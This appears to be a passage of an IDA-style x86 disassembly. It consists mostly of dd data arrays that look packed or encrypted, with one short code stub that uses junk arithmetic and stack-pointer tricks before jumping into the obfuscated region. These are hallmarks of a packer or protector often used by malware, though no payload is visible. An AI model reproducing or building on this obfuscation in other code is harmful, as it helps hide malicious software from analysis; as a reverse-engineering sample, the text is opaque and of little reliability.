		dd 0A8ED92F1h, 0B7DE8E30h, 36004C21h, 0FD0AF0C8h, 7A993EC3h
		dd 4285F1C9h, 4E4919Eh,	0FBD5F740h, 3B10C8CBh, 0AB75B902h
		dd 0EA7F653Dh, 679F8E4Eh, 5484DEB6h, 1D4B9442h,	0FBF6175h
		dd 53985383h, 0F1807659h, 0D94B9Ch, 2F690000h, 425505A7h
		dd 4F44F496h, 5D37E789h, 6B27D779h, 0FA30C96Bh,	17B91D75h
		dd 4A63267h, 0F2944254h, 0E3855342h, 8A381E76h,	799446Bh
		dd 773AB78h, 8A46BD11h,	8DBB0466h, 7F2FD105h, 5920C216h
		dd 0BE0F89Dh, 7C1BC0D5h, 9D4E875Ch, 0FD6B35FBh,	62043F25h
		dd 0D0819944h, 8D0C5FBh, 0F9DFB666h, 36A2F121h,	0D4AC98EDh
		dd 4ECE1B60h, 0D8866C45h, 55CE1B60h, 0E81EF3A4h, 675227B1h
		dd 644A4C9Dh, 0CE1B60B6h, 1CD18233h, 0F4A161CAh, 39242E4h
		dd 0C5CDFDD5h, 605604EAh, 22D3CE1Bh, 1A639C71h,	613565C5h
		dd 8D0C775h, 0D30391BFh, 0E6CBC8FEh, 1B605200h,	6D1ECFCEh
		dd 0A2346298h, 0D9FD97CDh, 8043AC76h, 6F5798ECh, 6010B226h
		dd 7DCEA335h, 3, 9D337838h, 0D006DBFBh,	83E13C5h, 3D73488Eh
		dd 71A77C5Ch, 0AAE0B521h, 0E319EEE8h, 1A5025B1h, 548A5F79h
		dd 3DC09543h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 0E682404h, 89000056h, 2E682434h, 89000039h, 0DE68243Ch
		dd 8B0652D4h, 0C4832434h, 3C8B5404h, 4C48324h, 3BBB68h
		dd 24348900h, 0FF08478Fh, 815F2434h, 4C4h, 2434FF00h, 4C4835Eh
		dd 0FB6151E9h, 54AA65FFh, 4EDAB044h, 45873DAEh,	52DFCAB8h
		dd 0FFC50306h, 8E93EE0h, 77477457h, 9E2A3F03h, 0C3B82E66h
		dd 626E6D0Bh, 41A7A50h,	399FE29h, 0C4215211h, 6C0EE145h
		dd 587F4354h, 0D1D1F335h, 0E6B5908h, 1ED1756Ch,	3AD6AE4Eh
		dd 0BE39BA4Fh, 32F0849h, 0BFD0815Ah, 7B203C2Fh,	0D7EF826Dh
		dd 76B1404h, 0F6B0456Bh, 7960880Bh, 89F42524h, 5AE06847h
		dd 0F4A8D96Ch, 0E59ABE0Fh, 0E4EB5867h, 4C03420Fh, 6F8E3143h
		dd 0FC8D8D76h, 0F0652E0h, 8D89C2B7h, 64D0599h, 0FA30BF66h
		dd 33158509h, 85C7064Dh, 64D051Dh, 6AA4h, 9BD08166h, 9595896Eh
		dd 0C7064D31h, 4D02E985h, 6, 0D8BF0F00h, 2D19B5FFh, 95FF064Dh
		dd 64D2E55h, 6ADF8B66h,	1195FF00h, 8B064D05h, 3479EBC0h
		dd 70655194h, 61EF31AAh, 233B364h, 78FA5663h, 0E29D3CCAh
		dd 6477F0C6h, 0FF3A9579h, 6547C9Ah, 37877FB4h, 2E4C2F0Ch
		dd 5EC6687Ch, 0B2420B04h, 49E29EB7h, 27EC5838h,	723295A1h
		dd 5D9082A0h, 7EB1B876h, 100D2B09h, 5129596Fh, 0D6B31920h
		dd 0F0B6ECD9h, 32005007h, 1EE0664Fh, 96FA6C87h,	90691EEAh
		dd 0A3A5037Ah, 0E02CFD78h, 9161F2E4h, 0E50295B1h, 0BDED6094h
		dd 14E8h, 0D68A900h, 2EBDB55Fh,	70AA7903h, 0FA40F039h
		dd 753DA402h, 198D89AAh, 5F064D20h, 9E253BBBh, 77C78121h
		dd 8B00005Fh, 4D255D85h, 0FF63306h, 1E87h, 0CF806000h
		dd 13E86Ch, 0BDC90000h,	0E3FA831Ah, 0F19EE43Ch,	5C4EB8CDh
		dd 0F3695375h, 8B61599Fh, 8D89370Ch, 64D073Dh, 5C93C181h
		dd 9D8B475Eh, 64D05D9h,	0C7D5F181h, 95234664h, 64D2C69h
		dd 5DC5E981h, 0DA8B119Ah, 0E1BD8951h, 8F064D0Ah, 858B3704h
		dd 64D0A31h, 16840Fh, 0AE80000h, 4D000000h, 0F9AAC813h
		dd 740C2E5Ch, 9DBD0105h, 58064D0Bh, 0E904EE83h,	8, 0B87AAF53h
		dd 58208AA5h, 0A178FE81h, 850FFFFFh, 19h, 0E903D480h, 28h
		dd 0E2D55EF9h, 41DE2F0Eh, 42419191h, 0F78E9C40h, 1DBD2973h
		dd 0E9064D0Eh, 0FFFFFF6Bh, 0F5D61715h, 72B62E66h, 8B7CC7Ch
		dd 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h
		dd 4B65305Fh, 125BE9h, 0E5156800h, 92E90652h, 68FFFA9Ch
		dd 652E60Ah, 0FA9C88E9h, 0E6F868FFh, 7EE90652h,	68FFFA9Ch
		dd 652E817h, 0FA9C74E9h, 0E89D68FFh, 6AE90652h,	68FFFA9Ch
		dd 652E959h, 0FA9C60E9h, 0EA0B68FFh, 56E90652h,	68FFFA9Ch
		dd 652EACAh, 0FA9C4CE9h, 0EB5A68FFh, 42E90652h,	68FFFA9Ch
		dd 652EC9Bh, 0FA9C38E9h, 0ED9F68FFh, 2EE90652h,	68FFFA9Ch
		dd 652EEEEh, 0FA9C24E9h, 0F03C68FFh, 1AE90652h,	68FFFA9Ch
		dd 652F1EDh, 0FA9C10E9h, 0F2D768FFh, 6E90652h, 32FFFA9Ch
		dd 0DABAC66Ch, 7D5D690Fh, 21010DB3h, 0C2A2AE54h, 454753F9h
		dd 7F25EEA3h, 26CC9373h, 0C86E3A1Ah, 6E14DCBCh,	0CFFECB62h
		dd 0D4FC3DB1h, 75357580h, 0DC3A07ADh, 10B68114h, 0B27CD243h
		dd 3A97A30Ch, 3F8CD19Bh, 0B6B7CD03h, 0AF059FE9h, 0FE6F3CE2h
		dd 4D4B80AFh, 2E8CD137h, 93F1BE64h, 69B821C7h, 31602D96h
		dd 0D5011443h, 6A95CF3Dh, 0B65832D8h, 4CF2BC1Ah, 0B9862CF6h
		dd 4891F948h, 0CF000000h, 4A8FDDF8h, 3820681Bh,	2B70D9D1h
		dd 116006CDh, 0C591EF3Ch, 8BE1521Fh, 9DCC1BC1h,	0D50220D7h
		dd 8451F7BFh, 0ADDC5E26h, 0D50220D3h, 0BF8CF55Eh, 4288BCA8h
		dd 5E2987D6h, 47FD69B8h, 5B428A9Ch, 0DB31B6h, 756F0000h
		dd 84FC2BADh, 0ADDB4F20h, 0B00EDB44h, 167441E7h, 7DDBA84Eh
		dd 6CCA0FB5h, 97ABFAA0h, 4F2485E6h, 0A63901DBh,	562A59DBh
		dd 0DBDB4F1Ch, 0DE3C0972h, 9B046D13h, 852BF856h, 0E4F847B8h
		dd 5C92D915h, 0CA1940B1h, 0AF551D7Bh, 6F3795E2h, 369F7AC9h
		dd 2DC2F136h, 0E4D137D0h, 53A06F7Bh, 0B58228F5h, 84631D44h
		dd 65CED501h, 0D29A3B16h, 3C315E8Dh, 0B720CAF2h, 0FAC72572h
		dd 0C7168754h, 0EEFAA069h, 879F450Eh, 98791745h, 0AA749267h
		dd 8A00000Fh, 32121EC4h, 0D5B5C167h, 7959650Bh,	1AFA06ACh
		dd 9D9FAB51h, 0D77D460Bh, 7E24EBCBh, 20C69272h,	0C66C3414h
		dd 275623BAh, 0D4FC3B59h, 758DCDD8h, 63C106ACh,	963C0497h
		dd 0A0EF58C9h, 73E4AC8Ch, 0F86AF019h, 7D89F22Fh, 8FDDF833h
		dd 20681B4Ah, 235FD138h, 3EC6BF9Dh, 0D09AF080h,	0B208DB2Ah
		dd 20E93FE5h, 1544117Ah, 0D502105Fh, 46B1B321h,	0B65B523Ch
		dd 0B9DBh, 18479400h, 0D5021C68h, 0A16B7E60h, 6530BEBEh
		dd 6680C8FCh, 10C3DA03h, 0AD75F9C1h, 9864C207h,	65B425F2h
		dd 0C3693290h, 24A4C7F6h, 1AE2DB4Fh, 0C0886874h, 1999D51Ah
		dd 0D8862612h, 89643988h, 0C066334Ch, 48344C7Bh, 94FDDB4Eh
		dd 38B7E62Bh, 0D9D1376Fh, 0CE076470h, 562A599Eh, 61CAF1D7h
		dd 0C8953B03h, 0CC350857h, 0BA602987h, 5F05CEAEh, 79F57347h
		dd 2A481D98h, 0EB5h, 713B97Fh, 0AAB65C27h, 4E5A00CAh, 0EFFBA16Eh
		dd 94A0460Fh, 70391E92h, 17DEBECAh, 0B9856571h,	5F270713h
		dd 4916ADB9h, 0FC3A661Ah, 80C0CBD4h, 0C106AC75h, 0A1F09663h
		dd 3FE5AD8Dh, 0AD75E933h, 14DC3A07h, 0B882626Eh, 4DB65C25h
		dd 103CC08h, 46030880h,	348329F0h, 9339015Fh, 6B7CB887h
		dd 5E23D89Eh, 46AF551Eh, 0FDDA16F7h, 4ADDA7D8h,	9B0CD97Fh
		dd 3784C932h, 0F95248FBh, 4CBD8A30h, 0FF21FE18h, 50C18E34h
		dd 0F66998E7h, 0FBD137BBh, 6EF987B6h, 0CF38D501h, 6F255B8Ah
		dd 0A30CD501h, 0AAC9F23Ah, 6FBAA79Fh, 74C10666h, 56A54B16h
		dd 6069B427h, 8FD43DD3h, 116D1342h, 6EC4D72Ah, 499801A7h
		dd 303C9974h, 79409EEBh, 0EB47DD3h, 5281D041h, 0CD17877Bh
		dd 0CA286DD6h, 70505C02h, 0EEA02A8h, 0B69E91C1h, 0DC7C3E1h
		dd 0A76D0000h, 4A15F501h, 0EEB898A4h, 8F5C3C48h, 34FDDDE9h
		dd 6880828Eh, 0ACB85E27h, 535F05CCh, 0F501A773h, 9BA74D15h
		dd 78083704h, 0B9D4FC3Ah, 0AD756EAEh, 8FED3A07h, 85522C8h
		dd 4F20A7D9h, 0B8218ADBh, 25478E69h, 2CFEB1E0h,	0AA13D138h
		dd 0A671CF9Eh, 0FFD6B100h, 7EF9286Dh, 0A3CAEB2Fh, 363E6D3Ah
		dd 4ACEB4F9h, 0D56D68DCh, 2BC8C65h, 3Fh, 8FDDF840h, 7A20EC4Ah
		dd 0B0AFDE2Bh, 41D1386Eh, 693593D8h, 1C9809D6h,	86E227A2h
		dd 0C132FF68h, 0E79B4C58h, 0BFD5021Eh, 654551F7h, 826F399h
		dd 0D21h, 6B11DB39h, 0D278409Eh, 0F8521A69h, 1B4A8FDDh
		dd 0D1220373h, 0D23075DEh, 7858640Ah, 67C50AB0h, 97E9189Ah
		dd 9AD4FC3Dh, 8AFBC831h, 4A8B663Bh, 3FAEDD22h, 0D2CACF21h
		dd 0FCC62469h, 602B8956h, 137CEDBAh, 511977C4h,	0F7BF9FABh
		dd 87569886h, 0B61F63EBh, 0FEC62471h, 0D44F3158h, 79E2CEA9h
		dd 5B7A552Ah, 0EA9DCC11h, 57C492F8h, 3414D6EEh,	0C3988616h
		dd 0CA8A5h, 20C68C00h, 0C3693414h, 670DD7B7h, 8AE7B5Bh
		dd 0AD531CFCh, 48099FA1h, 0EDCDD97Fh, 94748026h, 361622C8h
		dd 25BCC86Eh, 38572958h, 0CFDAD4FCh, 20D0A48Fh,	8C49DB4Fh
		dd 896C9BE0h, 1ED12204h, 9663F6C0h, 49BA87F0h, 79BE27FAh
		dd 0A1AD531Bh, 9966F9C1h, 4CB526F3h, 3B31A47Fh,	4AE8C7F6h
		dd 62AFCAE5h, 0AF324D33h, 2C7BE4CEh, 9BE51459h,	96CEAF32h
		dd 670DD72Dh, 0A8C0299Ah, 987BAAFCh, 226D8B60h,	1200000Ch
		dd 0BA9AA64Ch, 5D3D49EFh, 1E1ED93h, 0A2828E34h,	252733D9h
		dd 5F05CE83h, 6AC7353h,	0A84E1AFAh, 4EF4BC9Ch, 0AFDEAB42h
		dd 0D4FC38D1h, 75155560h, 0DC3A07ADh, 43A16E14h, 0A604D177h
		dd 2A6633D9h, 0CCB40E6Bh, 654962CAh, 0BF1F9FFh,	0F8849E59h
		dd 7833B016h, 71000006h, 4A8FDDF8h, 2AC810Eh, 0D52424EAh
		dd 0A1AF5988h, 2992D121h, 6D3997E4h, 521A78C7h,	0F8C0A0ACh
		dd 1E568552h, 89D4FBDCh, 0C0C0EF3Ch, 71D4FBDBh,	0DB9FE108h
		dd 3C92D4FBh, 1766CF75h, 8ED3993Ch, 0E4E8505Fh,	0BD0B47CAh
		dd 5A5CC65Fh, 3FEF44C3h, 55BE5490h, 0B2CA3306h,	98441ED4h
		dd 666D8B60h, 0CE00000Bh, 76566208h, 19F905ABh,	0BD9DA94Fh
		dd 5E3E4AF0h, 0E1E3EF95h, 1BC18ACFh, 0C2682F0Fh, 640AD6B6h
		dd 0AB07858h, 6B9A67FEh, 0D4FC3815h, 75D1111Ch,	96DE3CADh
		dd 7DB1571Fh, 9F080CE6h, 9F32FC5Ah, 0F26330D6h,	0FC4BBC89h
		dd 5B01C927h, 0AC987E8Eh, 16BF1131h, 5B9C6B0h, 0A4040000h
		dd 0DB4F20D0h, 9BE08C49h, 22045C6Ch, 377CE5D1h,	6FA011D9h
		dd 764F141Fh, 4A2A369Fh, 0C20FDC82h, 156C2E86h,	0CA193831h
		dd 3BBE6EFh, 0F4BF5C84h, 3481C62Fh, 18670DD6h, 0E573C6E9h
		dd 5584D1CAh, 0CEAF5C2Bh, 7B4E9D06h, 8116FA12h,	0C99E987Bh
		dd 0AB4ABh, 14BA8000h, 0B75D2808h, 5B01CBABh, 0FCA26F4Fh
		dd 0A14710F0h, 3C1D9395h, 0E1C1CD73h, 8868741Ah, 2A0A16BCh
		dd 19B0BC62h, 36631D4Ch, 0C3CED4FCh, 7AD7583h, 0F39964C2h
		dd 0D6AAD926h, 5BDB4F20h, 683389F2h, 409E73C2h,	0A705D278h
		dd 0ECF76CDDh, 29A6212Ch, 0C995F3C0h, 5E04CD23h, 0B7AD1B91h
		dd 19E68C54h, 51373FA8h, 0DC5EE813h, 0F07DB016h, 0BB000004h
		dd 4A8FDDF8h, 2203381Bh, 0B3E22FD1h, 0D4FC3DCDh, 3DC5BBEAh
		dd 36CD4FCh, 0AD80CF38h, 7EE78D57h, 6D13DB39h, 13B98161h
		dd 3D5D1746h, 19BCD4FCh, 0D0DF0E53h, 0C7CAE549h, 2EFBA169h
		dd 329B6EBDh, 7BAB081Ah, 0C1DFB498h, 9F5h, 0C7D3793Fh
		dd 6A761CE7h, 0E1AC08Ah, 0AFBB612Eh, 546006CFh,	30F95E52h
		dd 0D79E7E8Ah, 79452531h, 1FE7C7D3h, 9D66D79h, 0FC36A6DAh
		dd 40808BD4h, 3A07AD75h, 0A16E14DCh, 7D47A43h, 6936DCA9h
		dd 19DF85F3h, 0BE392B11h, 0B0163EA4h, 45253h, 0DBA49100h
		dd 4EDB4F20h, 71A0E587h, 0D1220445h, 0D02E73DCh, 87566208h
		dd 0D64124Bh, 84D3CD7Bh, 73B85E26h, 57A64C15h, 3E2EA782h
		dd 5645CAF9h, 0A30CCAE5h, 7BA3F18Bh, 28461B98h,	965h, 576309CFh
		dd 0FA06AC77h, 9EAA501Ah, 3F4BF1BEh, 0E4F0965Fh, 0C089CEE2h
		dd 672E0E1Ah, 9D5B5C1h,	0AF775763h, 9966FD09h, 0FC36166Ah
		dd 0D0101BD4h, 3A07AD75h, 0A16E14DCh, 0E6194BB1h, 846C781Eh
		dd 0B01642E2h, 680ED634h, 14FB119h, 1D6A0000h, 4F2C92EEh
		dd 0E7369FDBh, 7AD751Fh, 6E14DC3Ah, 9CD00562h, 3CA32857h
		dd 0D634D138h, 0AB0780Bh, 9663CC3Dh, 5C02CF25h,	0FCCF1E8Fh
		dd 0DD97C693h, 0B9D50204h, 1E7C49EFh, 4BF1BE51h, 0EDB715E2h
		dd 0FA097A47h, 34A0560Eh, 0ECA4A9E5h, 7D4AF0B9h, 408ED80Ch
		dd 83C12D7Ch, 5B56CE58h, 36EDB6h, 862B0000h, 6CBB6128h
		dd 0E3284491h, 0C66C3896h, 0A3988F9h, 0D1382079h, 0CD1A5FC8h
		dd 220E29Eh, 97E64FD5h,	20E193C2h, 319FD502h, 42BEC833h
		dd 9F5DB65Bh, 9B000000h, 3A07AD75h, 0B48013DCh,	7AD8A50Eh
		dd 0E13F0CB2h, 0B6677319h, 0DB4F4BC5h, 2E7319E1h, 105F05D0h
		dd 3CF2DFCh, 1443905Dh,	0DB4EF56Ch, 0A4F35CC5h,	1B600CC9h
		dd 3FAB16ECh, 6DB21BD1h, 5BA0460Fh, 40A1DF0Eh, 2790D4FFh
		dd 1BE4C4D8h, 0A4C95D75h, 0EE392ABh, 824F0h, 0A44A1000h
		dd 47EDB898h, 0EB915B3Bh, 8C32FFDFh, 31D7A080h,	0CC8D2325h
		dd 71515D03h, 18F804AAh, 0BA9AA64Ch, 0A9404CF2h, 34D3ADDCh
		dd 535ED4FCh, 5F288613h, 430C6AB9h, 0ACC693D2h,	0FE6792E7h
		dd 0A44A12F2h, 4A864E98h, 275FD2E0h, 76D423C0h,	0DD3B08AEh
		dd 0C3636F15h, 277h, 61288679h,	2E7DEEBBh, 0A5EA8253h
		dd 9D30FA58h, 0FAC730D6h, 600B3A89h, 37D13824h,	9A670DD9h
		dd 9E07DA29h, 1CD2A2D1h, 0F9C4D502h, 60288653h,	977EDBAh
		dd 215ACA5Bh, 0F4EA3AC9h, 72D01F8Bh, 4AB605ABh,	0FC47DF1Ah
		dd 274B65Bh, 0B2000002h, 4F20D9A4h, 0B880DEDBh,	85D44512h
		dd 0FC412BAAh, 0E08651AFh, 0CA19BF8Ah, 2204259Bh, 5EA30CD1h
		dd 6A9D511h, 3EC4ACB6h,	23C991EFh, 0CCFB4817h, 0D4FC55B4h
		dd 59E0147Dh, 42DA062Dh, 9F67C514h, 84512CF9h, 9B74A3E8h
		dd 0B6CAE5C4h, 3C0B354Dh, 0DCB1987Bh, 720BEh, 0A84E1400h
		dd 4BF1BC9Ch, 0EF955F3Fh, 903603E3h, 35DBA484h,	0D0812729h
		dd 75556107h, 1CFC08AEh, 0BE9EAA50h, 0AD4450F6h, 33CFB1E0h
		dd 5762D4FCh, 7AD7517h,	6E14DC3Ah, 0D57B43A1h, 3AE0AA08h
		dd 23C3316Dh, 2A6F0480h, 6268DC42h, 0AD50147Ah,	4B333FE5h
		dd 0B0167B3Bh, 14CE0h, 39861E00h, 42690FDBh, 0DB4F203Eh
		dd 0DD3B8AF3h, 44A26F15h, 6DCAD67Ch, 90BF0468h,	0D1383D3Bh
		dd 0D0763E9Ch, 70439203h, 0A0ED3A07h, 2050F71h,	0BAEE22D5h
		dd 54A389E7h, 84B3026Bh, 0D501CEF0h, 824BDEA6h,	59A673DCh
		dd 1CE562Ah, 1C72DBD5h,	0C8DFAC52h, 0F66268DCh,	0D87E49A7h
		dd 0DF4B9A0Bh, 17469365h, 0D501CE69h, 3CE743Dh,	5DE54B9Ah
		dd 95B65B6Ch, 0D6671948h, 61CAD501h, 35AA12h, 0F8E80000h
		dd 0E4A8FDDh, 0ECE23861h, 0C20F5EB7h, 3752F093h, 1BE851D1h
		dd 34A570CEh, 0C85DFBAh, 86D53E90h, 2031D57h, 4FF563D5h
		dd 5B5CF294h, 7729B6h, 75670000h, 0DC3A07ADh, 42A06D13h
		dd 791FE77Ah, 5D23BACh,	2D39DFA7h, 4F730F7Ch, 49EFB7DBh
		dd 77F5E03Dh, 83FF0332h, 0C932D13Fh, 0B75D2684h, 5C02CBABh
		dd 0B4431A44h, 0C3E1B692h, 5D1h, 0EBF79D63h, 8E9A400Bh
		dd 323EE4AEh, 0D3DF8552h, 78842AF3h, 541D7276h,	0FBC2A2AEh
		dd 9D694955h, 430BEBF7h, 2DFA919Dh, 0FC3282FEh,	64A4AFD4h
		dd 0FA06AC75h, 0A0AC521Ah, 3CAD7556h, 0D8F1E58Eh, 3C097287h
		dd 659416DEh, 0DB4F001Bh, 9057AD16h, 0D57581EAh, 27h, 3CAD758Bh
		dd 4A5B7D08h, 8A57C031h, 0F1BE642Ch, 0B4570D7Bh, 0A30146ECh
		dd 96734DAh, 0DE2D963Ch, 1D2ACAh, 75E00000h, 0B3A07ADh
		dd 0DB4F2068h, 38AB9985h, 7016DD70h, 2084FC2Bh,	44ADDB4Fh
		dd 7585CFDBh, 0ED3A07ADh, 210F71A0h, 0B922DB4Fh, 39468F6Ah
		dd 89FAC76Dh, 5DC66C33h, 4BE8DC18h, 1BE88E59h, 0AD5576AAh
		dd 105DAAF9h, 8652E5B2h, 374377E0h, 5B892862h, 8B033281h
		dd 0C6D121D8h, 0F2BA185Dh, 1371404Ch, 0F755A44Ah, 6FBC892Fh
		dd 4BA8E622h, 6E5380D7h, 0FBE33947h, 0A66DD4h, 0A27DCC35h
		dd 0C5F43933h, 0CACEC728h, 0EE3B80E9h, 1D6D46B2h, 0BB0A2F20h
		dd 0E413955Dh, 0CEA8A99Ch, 7EC32C95h, 0FEC65920h, 8CA0EF58h
		dd 713EE4ACh, 0E82D3F96h, 612EC18Ah, 148552BBh,	3E4978C5h
		dd 3C491CDh, 703DE3ADh,	0C67E96FFh, 0E68617D8h,	483F311h
		dd 0EBB10000h, 8E593945h, 32FCDCE8h, 0D3A0808Ch, 7841212Dh
		dd 2CC4C6D2h, 0F0FCA26Bh, 97A34910h, 3945EBB7h,	0DFEB9159h
		dd 344C7B48h, 0FDD4FC30h, 0AD75B2F2h, 0CE2CFB07h, 5A2A5E04h
		dd 7BF009D7h, 0C58DEB3Ah, 2CF4521Fh, 63C9B986h,	9036FEE1h
		dd 4E8A9C84h, 6931B016h, 0EA000000h, 0C9897AAEh, 3404FE7Fh
		dd 1DC6FAD2h, 0BA82D127h, 4A8FDDF8h, 0E3495C0Eh, 9FF5BEF9h
		dd 0F1622FD5h, 392655A2h, 0B8D1377Fh, 8EBD0A4Fh, 0D500E3F2h
		dd 7742E8B4h, 1472BF0Eh, 0E596A248h, 0D500E39Dh, 6EEDE1Ah
		dd 960CB495h, 7B21E947h, 650BD836h, 56220216h, 8754FAC3h
		dd 93E0AD16h, 0F5C26835h, 0C2173584h, 0CD000003h, 760A3986h
		dd 0BBDB4F20h, 0DDA50352h, 0D01D6A37h, 4F20DFA1h, 5A00C7DBh
		dd 0C511C8Dh, 4F20A3DDh, 0BC258EDBh, 0A1470F6Dh, 0CF9D3895h
		dd 7B224E8Ah, 20242E21h, 765584D1h, 0DBD137B1h,	0FE76A572h
		dd 82D50179h, 9DA55014h, 3AB65B99h, 37h, 8FDDF878h, 20681B4Ah
		dd 70D9D138h, 210074A3h, 1280D502h, 9862C052h, 0A9D825F2h
		dd 0D50220D7h, 4388F15Ah, 2206C14h, 0D5CC5D5h, 5B429FA7h
		dd 0A23CB6h, 757A0000h,	0DC3A07ADh, 53A06D13h, 348329F5h
		dd 9B680ED6h, 0C3CF753Dh, 4F245912h, 0BF652DDBh, 650BD3B3h
		dd 5418BD98h, 4EBFE00Fh, 0C932D138h, 0F77560BDh, 0A37583B2h
		dd 43ACCAF2h, 44D7A0FEh, 9405D278h, 14501F2Bh, 0D7433EFh
		dd 6E124155h, 0C3CEB2EDh, 44A2F15Ah, 771DE87Bh,	0B8D039AAh
		dd 9878766Ah, 0D2234116h, 62000002h, 0AEAF69Ch,	0AD8D993Fh
		dd 51313DE3h, 0F2D2DE84h, 75778329h, 0AF551E73h, 56FCC3A3h
		dd 0F89E6A4Ah, 9E440CECh, 0FF2EFB92h, 0D4FC2F81h, 7565A5B0h
		dd 1AFA06ACh, 56A0AC52h, 84B3DDF8h, 0DB4F20FCh,	1E63CC35h
		dd 2B5584D1h, 6DB4F21h,	713EE4B0h, 76419700h, 439203D0h
		dd 38206F14h, 9C69D2D1h, 221076Dh, 590B79D5h, 5B42849Eh
		dd 24F04EB6h, 0F140B17Eh, 0AE89h, 0AD75C700h, 2084FC2Bh
		dd 44ADDB4Fh, 1A5A96DBh, 0D35C29C4h, 6CCA9FEEh,	130FDA3h
		dd 0DB4E496Ah, 0A2AE541Ch, 8754FAC2h, 0FE4329ACh, 3773D0CFh
		dd 0ACB821D1h, 2CF9864Fh, 0DF48B986h, 0C5AC6B9Ah, 0CC35CAF1h
		dd 0B95F2987h, 0DF2C7BECh, 6A164592h, 0C7CEB15Bh, 0E8B10F5Eh
		dd 5B493766h, 7FE8CEB1h, 612A0A16h, 805DA3BBh
		dd 22F79879h, 1E804h, 0E0864C00h, 8329F4D4h, 27CD9777h
		dd 0C86E3B1Bh, 6D13DCBCh, 8495F61h, 0AD8D993Fh,	543440E6h
		dd 0F6D6E288h, 0E57C882Eh, 2E97E918h, 8F9AD4FCh, 5C28864Fh
		dd 400967B6h, 0E6AE8E9Ah, 75EA3440h, 86C207ADh,	0BA87D9BAh
		dd 0A7D4E014h, 0C916EB3Ah, 522D407Ch, 2795C312h, 4E288000h
		dd 0F948B1DBh, 212DD39Bh, 872DF452h, 0EC925CBAh, 84C94F83h
		dd 93EBB75Ah, 781EE644h, 6705D0ABh, 9094F322h, 44ADD137h
		dd 0AB511977h, 0C507A2DEh, 88EE6238h, 0F7C46A32h, 35BBA90Fh
		dd 0D90C381Ch, 0C8266B11h, 2A8855FBh, 7CEDBA60h, 53B0C413h
		dd 76A5EA82h, 0CAEA9B8Dh, 207E4BB4h, 6FE5B258h,	73F5C220h
		dd 0B4373C44h, 238CF5CEh, 0C87477EFh, 0EC3B27F3h, 31A4C480h
		dd 3CC7F63Bh, 5C49DF5h,	0ED9256D1h, 85EE8C5Ch, 3ED19979h
		dd 9102CF75h, 31FD5B28h, 0D89DBE8Bh, 6917D69Ch,	79C87F46h
		dd 0ECB4570Dh, 0F453B6Ah, 9A61C868h, 57C029F4h,	85E7EE4Bh
		dd 42761140h, 97CBBE51h, 0FA40AE1Fh, 0FAC730C1h, 0E92ED49Ch
		dd 0B8EFA5ADh, 81347EDh, 0C297E65Bh, 0E787BDA1h, 0EC397EEEh
		dd 8263BB0h, 3A893EC1h,	4097C0Bh, 505CC5B8h, 458AE2F3h
		dd 0A0880016h, 0BC1A67B1h, 0E7F4CF2h, 7AC099E7h, 91EF1EB5h
		dd 0A0B57AC0h, 0B4036C37h, 4DAB78E1h, 0A426F285h, 7AC10B75h
		dd 54BD26B5h, 2A47F520h, 0D63F4BABh, 7C22EACAh,	390462AFh
		dd 0E6F888B7h, 0D039B57Ah, 1E4D9A67h, 0B57AE662h, 0AEFD66CFh
		dd 33AD917Fh, 0B5AF1D48h, 0D8E48A52h, 0BD8A30F8h, 1FEC925Fh
		dd 0C82A1AFEh, 450FA26Ah, 0F861D29Fh, 1834BA9h,	4321AED2h
		dd 622D8368h, 0DEEA53BCh, 4B9036FEh, 0C89225EDh, 7BE45522h
		dd 0A39572Ch, 0EF000000h, 0B95F2886h, 0AD2C7BECh, 9AF75E5h
		dd 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh, 7AD76D4h
		dd 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 0EC81E865h, 4, 53243489h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	edx, 183420C5h
		push	ecx
		mov	ecx, 710C6C8Ch
		sub	ecx, 7913470Dh
		or	ecx, 33E6079Eh
		neg	ecx
		neg	ecx
		xor	ecx, 2C632FA1h
		xor	ecx, 0CA7D3556h
		sub	edx, ecx
		pop	ecx
		push	8A9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		push	8
		pop	ecx
		add	ecx, eax
		mov	[ecx], edx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 85h,	0DAh, 81h
		dd 6D89F61Eh, 52F4E4B8h, 0FFC50306h, 73E177E0h,	8CA39D60h
		dd 0AB4BBB34h, 0F373F914h, 11E7633Ch, 0FED5572Bh, 0D732EC35h
		dd 44C9B41Eh, 4708DD4Dh, 19F3430Ch, 0F9AD8F5Ch,	9E0662Eh
		dd 150BA049h, 6E6F7636h, 0EF3EE571h, 0CD48802Eh, 0FE855h
		dd 97AD0000h, 2DB35EAFh, 0E1931E14h, 692D6632h,	5E9C5h
		dd 6A920000h, 5F99ACE3h, 817AD880h, 7409C7h, 0D8BF0F00h
		dd 0CE9C92Bh, 1C000000h, 0C31FD384h, 500F906h, 0FF4E7DC4h
		dd 0BE83934h, 2A000000h, 0E02E8848h, 1DB1A956h,	5A5B67F4h
		dd 0EA3DEA81h, 0DE970CBh, 0E2000000h, 0B799EA43h, 0EDCF012Fh
		dd 0E3CBCD02h, 5B8BF281h, 0C68A6868h, 0F00AF281h, 0A0B044C1h
		dd 810F1489h, 5719E4D8h, 0B70F6052h, 0E98361D9h, 0EE816603h
